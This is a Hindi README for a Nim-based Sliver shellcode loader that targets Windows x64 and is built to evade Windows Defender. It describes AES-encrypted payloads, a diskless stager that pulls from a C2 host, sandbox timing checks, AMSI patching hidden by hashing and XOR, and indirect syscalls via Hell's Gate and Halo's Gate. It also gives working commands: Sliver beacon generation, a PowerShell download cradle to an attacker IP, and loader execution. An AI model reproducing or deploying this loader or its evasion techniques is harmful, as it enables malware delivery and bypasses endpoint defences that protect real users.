
Nim-आधारित एन्क्रिप्शन टूल जो शेलकोड और पेलोड को अस्पष्ट करने के लिए है, विंडोज डिफेंडर से बचने के लिए।
एक Sliver शेलकोड लोडर जो Nim में लिखा गया है और Windows x64 को लक्षित करता है। दो वेरिएंट जो दो सबसे सामान्य डिलीवरी स्थितियों को कवर करते हैं। रीयल-टाइम सुरक्षा सक्षम के साथ Windows Defender के विरुद्ध परीक्षण किया गया।
डिस्क से एन्क्रिप्टेड शेलकोड ब्लॉब को पढ़ता है, मेमोरी में डिक्रिप्ट करता है, और स्वयं-इंजेक्ट करता है। इसका उपयोग तब करें जब आपके पास पहले से फ़ाइल ड्रॉप प्रिमिटिव हो और एक छोटा, सरल बाइनरी चाहते हों।
loader.exe <shellcode.bin> [key_hex iv_hex]
Key और IV वैकल्पिक हैं। यदि छोड़ दिया जाए, तो फ़ाइल को कच्ची अनएन्क्रिप्टेड शेलकोड माना जाता है।
आपके C2 से HTTP के माध्यम से Windows WinHTTP स्टैक का उपयोग करके एन्क्रिप्टेड ब्लॉब को डाउनलोड करता है, मेमोरी में डिक्रिप्ट करता है, और स्वयं-इंजेक्ट करता है। कोई फ़ाइल कभी डिस्क को स्पर्श नहीं करती। इसका उपयोग तब करें जब आप लक्ष्य पर बाइनरी निष्पादित कर सकते हैं लेकिन विश्वसनीय रूप से दूसरी फ़ाइल नहीं छोड़ सकते।
संकलन से पहले stageless/loader.nim के शीर्ष पर स्थिरांक संपादित करें:
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 hex chars from encrypt.py
scIV = "..." # 32 hex chars from encrypt.py
स्टेजलेस लोडर स्टार्टअप पर Sleep(5000) कॉल करता है और GetTickCount64 के साथ वास्तविक बीता हुआ समय मापता है। यदि 4500ms से कम बीता है, तो प्रक्रिया बाहर निकल जाती है। अधिकांश स्वचालित सैंडबॉक्स वातावरण स्लीप को फास्ट-फॉरवर्ड या स्किप कर देते हैं, जिससे जांच विफल हो जाती है। यह किसी भी नेटवर्क गतिविधि या शेलकोड निष्पादन से पहले चलता है, इसलिए नेटवर्क व्यवहार का निरीक्षण करने वाले सैंडबॉक्स को कुछ नहीं दिखता।
amsi.nim रनटाइम पर दो परतों की अस्पष्टता का उपयोग करके AmsiScanBuffer को पैच करता है:
FNV-1a हैशिंग के माध्यम से स्ट्रिंग छिपाना। स्ट्रिंग AmsiScanBuffer बाइनरी में कभी प्रकट नहीं होती। इसके बजाय, इसका FNV-1a हैश संकलन समय पर गणना की जाती है और एक स्थिरांक के रूप में संग्रहीत की जाती है। रनटाइम पर लोडर amsi.dll की एक्सपोर्ट तालिका को स्कैन करता है, प्रत्येक एक्सपोर्ट नाम को हैश करता है, और फ़ंक्शन पता खोजने के लिए संग्रहीत मान से तुलना करता है, बिना स्ट्रिंग को कभी मेमोरी में रखे।
संकलन-समय XOR अस्पष्टता। DLL नाम (amsi.dll) और पैच बाइट्स (xor eax, eax; ret = 31 C0 C3) दोनों को एक Python उपप्रक्रिया के माध्यम से प्रत्येक बिल्ड पर ताजा उत्पन्न यादृच्छिक कुंजी का उपयोग करके संकलन समय पर XOR-एन्कोड किया जाता है। कुंजी एक स्थिरांक के रूप में एम्बेडेड होती है और बाइट्स उपयोग से तुरंत पहले रनटाइम पर डिकोड की जाती हैं। कच्चे बाइट्स प्रत्येक बिल्ड के साथ बदलते हैं, पैच अनुक्रम पर स्थिर हस्ताक्षर को तोड़ते हैं।
पैच AmsiScanBuffer के पहले तीन बाइट्स को xor eax, eax; ret से ओवरराइट करता है, जिससे इनपुट की परवाह किए बिना प्रत्येक कॉल AMSI_RESULT_CLEAN लौटाता है।
encrypt.py एक यादृच्छिक रूप से उत्पन्न 32-बाइट कुंजी और 16-बाइट IV का उपयोग करके कच्ची शेलकोड को AES-256-CBC के साथ एन्क्रिप्ट करता है। लोडर Windows BCrypt API का उपयोग करके इन-प्लेस डिक्रिप्ट करता है, इसलिए लक्ष्य पर किसी तीसरे पक्ष के क्रिप्टो लाइब्रेरी की आवश्यकता नहीं है।
मेमोरी को PAGE_READWRITE के रूप में आवंटित किया जाता है, शेलकोड इसमें लिखा जाता है, और फिर निष्पादन से पहले क्षेत्र को PAGE_EXECUTE_READ में फ्लिप किया जाता है। सीधे PAGE_EXECUTE_READWRITE के रूप में आवंटित करना एक प्रसिद्ध हस्ताक्षर है जिसे Defender और EDRs स्पष्ट रूप से फ्लैग करते हैं। लेखन और निष्पादन चरणों को अलग करने से उस पैटर्न से बचा जाता है।
stageless/syscalls.nim Win32 API परत (kernel32.dll) और EDRs द्वारा रखे गए किसी भी ntdll.dll यूज़रलैंड हुक दोनों को बायपास करता है।
SSN रिज़ॉल्यूशन। स्टार्टअप पर लोडर ntdll का बेस एड्रेस प्राप्त करता है और उसकी PE एक्सपोर्ट तालिका को पार्स करता है, RVA द्वारा क्रमबद्ध प्रत्येक Nt* एक्सपोर्ट को एकत्र करता है। प्रत्येक NT फ़ंक्शन के लिए जिसकी हमें आवश्यकता है, यह पहले चार बाइट्स की जाँच करता है:
4C 8B D1 B8 (mov r10, rcx; mov eax, imm32) का अर्थ है कि स्टब साफ है और SSN सीधे बाइट्स 4-5 से पढ़ा जाता है। यह Hell's Gate है।neighbor_SSN +/- distance के रूप में करता है। SSNs पते के क्रम में प्रति स्टब एक से बढ़ते हैं। यह Halo's Gate है।गैजेट स्थान। लोडर पहले साफ Nt* स्टब को स्कैन करता है जो उसे बाइट अनुक्रम 0F 05 C3 (syscall; ret) के लिए मिलता है। यह ntdll के इमेज-समर्थित .text अनुभाग के अंदर एक पता देता है जिसे हम पुन: उपयोग कर सकते हैं।
स्टब उत्पादन। प्रत्येक आवश्यक फ़ंक्शन के लिए एक 22-बाइट स्टब एक एकल RW पेज में लिखा जाता है जिसे उपयोग से पहले RX में फ्लिप किया जाता है:
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget address
jmp [rip+0] इसके तुरंत बाद के 8 बाइट्स (गैजेट पता) को डीरेफ्रेंस करता है और निष्पादन को ntdll के मौजूदा syscall; ret अनुक्रम में रीडायरेक्ट करता है। syscall निर्देश हमारे अनाम आवंटन के बजाय ntdll के .text से फायर करता है, जो किसी भी कर्नेल-स्तरीय ट्रैकिंग को विफल करता है कि किस मेमोरी क्षेत्र ने syscall जारी किया।
अप्रत्यक्ष सिस्कॉल द्वारा कवर किए गए चार फ़ंक्शन हैं NtAllocateVirtualMemory, NtProtectVirtualMemory, NtCreateThreadEx, और NtWaitForSingleObject।
डिक्रिप्शन के बाद, स्टेजलेस लोडर NtAllocateVirtualMemory के माध्यम से अपनी प्रक्रिया में एक RW क्षेत्र आवंटित करता है, copyMem के साथ शेलकोड को कॉपी करता है, NtProtectVirtualMemory के माध्यम से क्षेत्र को RX में फ्लिप करता है, और NtCreateThreadEx के माध्यम से एक थ्रेड बनाता है। मुख्य थ्रेड फिर NtWaitForSingleObject पर अनिश्चित काल के लिए ब्लॉक करता है, प्रक्रिया को जीवित रखता है जबकि बीकन के goroutines चलते हैं। सभी चार कॉल ऊपर वर्णित अप्रत्यक्ष सिस्कॉल स्टब्स के माध्यम से जाते हैं।
स्व-इंजेक्शन कॉल सतह को न्यूनतम रखता है। कोई क्रॉस-प्रोसेस API कॉल नहीं हैं (WriteProcessMemory, CreateRemoteThread, आदि), जो क्लासिक रिमोट इंजेक्शन के लिए प्राथमिक डिटेक्शन वेक्टर हैं।
AmsiScanBuffer को हल करें, xor eax, eax; ret के साथ ओवरराइट करेंsyscall; ret गैजेट का पता लगाएं, स्टब्स लिखेंNtAllocateVirtualMemory (RW)NtProtectVirtualMemory से PAGE_EXECUTE_READNtCreateThreadExNtWaitForSingleObjectVirtualAlloc (RW), शेलकोड कॉपी करें, VirtualProtect से RXअपने Linux बिल्ड मशीन पर:
nimble install winim)x86_64-w64-mingw32-gcc)pip install pycryptodome)[server] sliver > mtls --lhost 10.10.14.42 --lport 443
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
stageless/loader.nim को संपादित करें और c2Host, c2Port, c2Path, scKey, scIV सेट करें, फिर प्रोजेक्ट रूट से:
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
हमेशा प्रोजेक्ट रूट से संकलित करें ताकि केवल रूट nim.cfg लोड हो। आउटपुट एक स्टैटिकली लिंक्ड Windows x64 PE है जिसमें मानक सिस्टम लाइब्रेरी के अलावा कोई बाहरी DLL निर्भरता नहीं है।
स्टेजलेस: एन्क्रिप्टेड ब्लॉब को c2Port से मेल खाने वाले पोर्ट पर HTTP पर सर्व करें:
cd bins && python3 -m http.server 443
स्टेजर: दोनों फ़ाइलों को लक्ष्य पर स्थानांतरित करें:
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
स्टेजलेस:
loader.exe
एन्क्रिप्शन के साथ स्टेजर:
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
एन्क्रिप्शन के बिना स्टेजर:
loader.exe shellcode.bin
यदि PowerShell डाउनलोड क्रैडल के माध्यम से वितरित कर रहे हैं, तो AMSI लोडर चलने से पहले स्क्रिप्ट को स्कैन करेगा। पहले अपने PS सत्र में AMSI को पैच करें:
python3 gen_amsi.py
आउटपुट को PS सत्र में पेस्ट करें इससे पहले कि आप कुछ भी डाउनलोड या निष्पादित करें। स्क्रिप्ट एक्सपोर्ट टेबल हैश द्वारा AmsiScanBuffer को हल करती है, इसलिए स्ट्रिंग कभी प्लेनटेक्स्ट में प्रकट नहीं होती, और सभी पैच बाइट्स प्रति-रन यादृच्छिक कुंजी के साथ XOR-एन्कोडेड होते हैं।
BCryptSetProperty चेनिंग मोड के लिए STATUS_INVALID_PARAMETER लौटाता है लेकिन BCrypt डिफ़ॉल्ट रूप से CBC पर सेट होता है, डिक्रिप्शन सही ढंग से काम करता हैsyscall निर्देश ntdll के .text अनुभाग (इमेज-समर्थित, Microsoft-हस्ताक्षरित) के अंदर से फायर करता है, न कि स्टब पेज से, जो कर्नेल-स्तरीय syscall मूल ट्रैकिंग को विफल करता हैआप Defender Mechanisms, Techniques & Other tools के बारे में अधिक जानकारी मेरे ब्लॉग पर पा सकते हैं।